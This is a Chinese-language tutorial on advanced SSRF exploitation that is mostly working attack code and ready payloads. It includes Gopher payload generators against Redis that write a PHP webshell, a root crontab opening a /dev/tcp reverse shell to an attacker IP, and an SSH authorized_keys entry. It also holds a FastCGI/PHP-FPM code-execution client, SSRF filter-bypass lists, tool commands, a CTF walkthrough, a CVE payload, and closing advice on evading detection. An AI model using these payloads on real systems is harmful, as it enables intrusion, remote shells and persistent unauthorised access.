SSRF高级利用技术 Gopher协议利用 Gopher协议基础 Gopher协议是一种信息查找系统,在WWW出现之前是Internet上最主要的信息检索工具。Gopher协议使用TCP 70端口,只支持文本,不支持图像。虽然现在基本过时,但在SSRF漏洞利用中,Gopher协议却是”万金油”,因为可以使用它发送任意TCP数据流。
协议格式 Gopher协议的基本格式如下:
1 gopher://IP:port/_TCP/IP数据流
注意事项:
_不会被显示URL编码使用%0d%0a替换字符串中的回车换行 数据流末尾使用%0d%0a代表消息结束 发送HTTP请求 GET请求 1 2 3 4 5 6 7 8 9 10 import urllibhttp_request = "GET /index.php?param=test HTTP/1.1\r\n" http_request += "Host: 192.168.1.100\r\n" http_request += "\r\n" payload = "gopher://192.168.1.100:80/_" + urllib.quote(http_request) print (payload)
生成的Payload:
1 gopher://192.168.1.100:80/_GET%20/index.php%3fparam%3dtest%20HTTP/1.1%0d%0aHost%3a%20192.168.1.100%0d%0a%0d%0a
POST请求 1 2 3 4 5 6 7 8 9 10 11 12 13 import urllibhttp_request = "POST /login.php HTTP/1.1\r\n" http_request += "Host: 192.168.1.100\r\n" http_request += "Content-Type: application/x-www-form-urlencoded\r\n" http_request += "Content-Length: 23\r\n" http_request += "\r\n" http_request += "username=admin&password=123456\r\n" payload = "gopher://192.168.1.100:80/_" + urllib.quote(http_request) print (payload)
生成的Payload:
1 gopher://192.168.1.100:80/_POST%20/login.php%20HTTP/1.1%0d%0aHost%3a%20192.168.1.100%0d%0aContent-Type%3a%20application/x-www-form-urlencoded%0d%0aContent-Length%3a%2023%0d%0a%0d%0ausername%3dadmin%26password%3d123456%0d%0a
攻击Redis Redis是一个内存数据结构存储,使用基于文本的协议。通过SSRF漏洞,我们可以使用Gopher协议攻击Redis服务。
Redis协议格式 Redis使用RESP(REdis Serialization Protocol)协议,支持两种格式:
非RESP格式:使用空格作为分隔符 RESP格式:推荐格式,可以避免特殊字符问题 RESP格式示例:
解释:
*1:表示数组,包含1个元素$4:表示字符串,长度为4PING:字符串内容写入Webshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import urllibprotocol = "gopher://" ip = "192.168.1.100" port = "6379" shell = "\n\n<?php system($_GET['cmd']);?>\n\n" filename = "shell.php" path = "/var/www/html" cmd = [ "flushall" , "set 1 {}" .format (shell.replace(" " , "${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ] payload = protocol + ip + ":" + port + "/_" def redis_format (arr ): CRLF = "\r\n" redis_arr = arr.split(" " ) cmd = "" cmd += "*" + str (len (redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str (len ((x.replace("${IFS}" , " " )))) + CRLF + x.replace("${IFS}" , " " ) cmd += CRLF return cmd for x in cmd: payload += urllib.quote(redis_format(x)) print (payload)
生成的Payload:
1 gopher://192.168.1.100:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
写入Crontab反弹Shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import urllibprotocol = "gopher://" ip = "192.168.1.100" port = "6379" reverse_ip = "192.168.1.200" reverse_port = "4444" cron_cmd = "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/{} {} 0>&1'\n\n" .format (reverse_ip, reverse_port) cmd = [ "flushall" , "set 1 {}" .format (cron_cmd), "config set dir /var/spool/cron" , "config set dbfilename root" , "save" ] payload = protocol + ip + ":" + port + "/_" def redis_format (arr ): CRLF = "\r\n" redis_arr = arr.split(" " ) cmd = "" cmd += "*" + str (len (redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str (len ((x.replace("${IFS}" , " " )))) + CRLF + x.replace("${IFS}" , " " ) cmd += CRLF return cmd for x in cmd: payload += urllib.quote(redis_format(x)) print (payload)
写入SSH公钥 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import urllibprotocol = "gopher://" ip = "192.168.1.100" port = "6379" ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." cmd = [ "flushall" , "set 1 \"\\n\\n{}\\n\\n\"" .format (ssh_key), "config set dir /root/.ssh" , "config set dbfilename authorized_keys" , "save" ] payload = protocol + ip + ":" + port + "/_" def redis_format (arr ): CRLF = "\r\n" redis_arr = arr.split(" " ) cmd = "" cmd += "*" + str (len (redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str (len ((x.replace("${IFS}" , " " )))) + CRLF + x.replace("${IFS}" , " " ) cmd += CRLF return cmd for x in cmd: payload += urllib.quote(redis_format(x)) print (payload)
攻击FastCGI FastCGI是Web服务器与语言后端通信的协议,PHP-FPM是FastCGI协议的具体实现。通过SSRF漏洞,我们可以使用Gopher协议攻击PHP-FPM服务。
FastCGI协议结构 FastCGI协议由多个Record组成,每个Record包含Header和Body:
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct { unsigned char version; unsigned char type; unsigned char requestIdB1; unsigned char requestIdB0; unsigned char contentLengthB1; unsigned char contentLengthB0; unsigned char paddingLength; unsigned char reserved; unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
FastCGI Type类型 Type值 类型名称 说明 1 BEGIN_REQUEST 开始请求 2 ABORT_REQUEST 中止请求 3 END_REQUEST 结束请求 4 PARAMS 环境变量 5 STDIN 标准输入 6 STDOUT 标准输出 7 STDERR 标准错误
环境变量结构 FastCGI的环境变量使用FCGI_NameValuePair结构:
1 2 3 4 5 6 typedef struct { unsigned char nameLengthB0; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength]; } FCGI_NameValuePair11;
构造FastCGI攻击Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 import socketimport structclass FastCGIClient : """FastCGI客户端""" def __init__ (self, host, port, timeout=10 ): self .host = host self .port = int (port) self .timeout = timeout self .sock = None def connect (self ): self .sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self .sock.settimeout(self .timeout) self .sock.connect((self .host, self .port)) def __packFastCGIRecord (self, type , content, requestId=1 ): """打包FastCGI Record""" length = len (content) padding = 8 - (length % 8 ) if length % 8 != 0 else 0 header = struct.pack("!BBHHBx" , 1 , type , requestId, length, padding) return header + content + b"\x00" * padding def __packNameValuePair (self, name, value ): """打包环境变量""" nLen = len (name) vLen = len (value) record = b"" if nLen < 128 : record += struct.pack("!B" , nLen) else : record += struct.pack("!BI" , 0x80 , nLen) if vLen < 128 : record += struct.pack("!B" , vLen) else : record += struct.pack("!BI" , 0x80 , vLen) return record + name.encode() + value.encode() def prepareEnvMap (self, environ ): """准备环境变量""" params = b"" for name, value in environ.items(): params += self .__packNameValuePair(name, value) return params def request (self, environ, postData="" ): """发送FastCGI请求""" self .connect() beginRequestBody = struct.pack("!HB5x" , 1 , 0 ) self .sock.send(self .__packFastCGIRecord(1 , beginRequestBody)) params = self .prepareEnvMap(environ) self .sock.send(self .__packFastCGIRecord(4 , params)) self .sock.send(self .__packFastCGIRecord(4 , b"" )) if postData: self .sock.send(self .__packFastCGIRecord(5 , postData.encode())) self .sock.send(self .__packFastCGIRecord(5 , b"" )) response = b"" while True : data = self .sock.recv(4096 ) if not data: break response += data self .sock.close() return response.decode() if __name__ == "__main__" : client = FastCGIClient("127.0.0.1" , 9000 ) environ = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'GET' , 'SCRIPT_FILENAME' : '/var/www/html/index.php' , 'SCRIPT_NAME' : '/index.php' , 'QUERY_STRING' : '' , 'REQUEST_URI' : '/index.php' , 'DOCUMENT_ROOT' : '/var/www/html' , 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '12345' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : 'localhost' , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } php_code = "<?php system('whoami'); ?>" response = client.request(environ, php_code) print (response)
使用Gopherus工具 Gopherus是一个自动化生成SSRF攻击Payload的工具:
1 2 3 4 5 6 7 8 9 10 11 12 13 git clone https://github.com/tarunkant/Gopherus.git cd Gopheruspython2 gopherus.py --help python2 gopherus.py --exploit fastcgi python2 gopherus.py --exploit redis python2 gopherus.py --exploit mysql
攻击MySQL MySQL使用基于文本的协议,通过SSRF漏洞可以读取MySQL数据。
MySQL协议基础 MySQL协议使用TCP 3306端口,通信过程包括握手、认证、命令执行等阶段。
使用Dict协议探测MySQL 1 2 3 4 5 6 <?php $url = "dict://localhost:3306" ;$ch = curl_init ($url );curl_exec ($ch );curl_close ($ch );?>
虽然返回的数据可能乱码,但可以读取到MySQL的版本号等信息。
SSRF绕过技术 URL解析差异 利用不同编程语言对URL的处理标准来绕过SSRF过滤。
点分割符号替换 1 2 3 http://www。qq。com http://www。qq。com http://www.qq.com
本地回环地址变体 1 2 3 4 5 6 7 8 9 http://127.0.0.1 http://localhost http://127.255.255.254 http://[::1] http://[::ffff:7f00:1] http://[::ffff:127.0.0.1] http://127.1 http://127.0.1 http://0:80
IP的进制转换 IP地址是一个32位的二进制数,通常被分割为4个8位二进制数。IP地址的每一段可以用其他进制来转换。
1 2 3 4 5 6 7 8 9 10 11 http://2130706433 http://0177.0.0.1 http://0x7f.0.0.1 http://0x7f.0.0.1
封闭式字母数字字符 使用Unicode印刷符号块替换域名中的字母:
1 2 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com ①⑦②.①⑥.⑥⓪.①⑥⑥ >>> 172.16.60.166
URL十六进制编码 1 2 3 4 5 6 7 data = "www.qq.com" ; alist = [] for x in data: for i in range (0 , len (x), 2 ): alist.append((x[i:i+2 ]).encode('hex' )) print "http://%" +'%' .join(alist)
重定向绕过 30X重定向 使用重定向来让服务器访问目标地址:
1 2 3 4 <?php header ("Location: http://192.168.1.10" );exit (); ?>
DNS解析 配置域名的DNS解析到目标地址:
1 2 3 4 5 nslookup 127.0.0.1.nip.io http://10.0.0.1.xip.io = 10.0.0.1 www.10.0.0.1.xip.io = 10.0.0.1
网址缩短 使用网址缩短服务:
1 2 https://www.985.so/ https://www.urlc.cn/
CRLF注入 在某些情况下,可以通过CRLF注入绕过SSRF过滤:
1 2 3 4 5 method = "GET\r\nSET key value\r\n" authorization = "\r\nSET key value\r\n"
实战案例 案例1:CTF题目 - ssrfme 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__file__);function curl ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); echo curl_exec ($ch ); curl_close ($ch ); } if (isset ($_GET ['url' ])){ $url = $_GET ['url' ]; if (preg_match ('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is' , $url ,$match )) { die ('No, No, No!' ); } curl ($url ); } if (isset ($_GET ['info' ])){ phpinfo (); } ?>
利用步骤:
通过phpinfo获取内网IP 探测内网存活主机 扫描开放端口 发现Redis服务 利用gopher协议攻击Redis 写入webshell获取flag 案例2:Apache mod_proxy SSRF (CVE-2021-40438) 漏洞原理:Apache mod_proxy模块在处理Unix套接字URL时存在漏洞,攻击者可以通过构造特殊的URL绕过限制发起SSRF攻击。
利用Payload:
1 GET /?unix:{'A'*5000}|http://example.com/ HTTP/1.1
工具推荐 SSRFmap 自动化SSRF攻击工具:
1 2 python ssrfmap.py -u "http://target.com/?url=http://example.com" -m portscan python ssrfmap.py -u "http://target.com/?url=http://example.com" -m redis
SSRF-Testing SSRF绕过测试工具:
1 python ssrf-testing.py -u "http://target.com/?url=http://example.com"
redis-over-gopher 将请求转换为gopher协议格式:
1 python redis-over-gopher.py -h 127.0.0.1 -p 6379 -c "SET key value"
总结 SSRF高级利用技术主要包括:
Gopher协议攻击:可以攻击Redis、FastCGI、MySQL等多种服务 SSRF绕过技术:利用URL解析差异、重定向、DNS解析等方式绕过过滤 自动化工具:使用SSRFmap、Gopherus等工具提高攻击效率 在实际攻击中,需要根据目标环境的特点选择合适的攻击方式和绕过技术。同时,要注意防御措施,避免被检测到。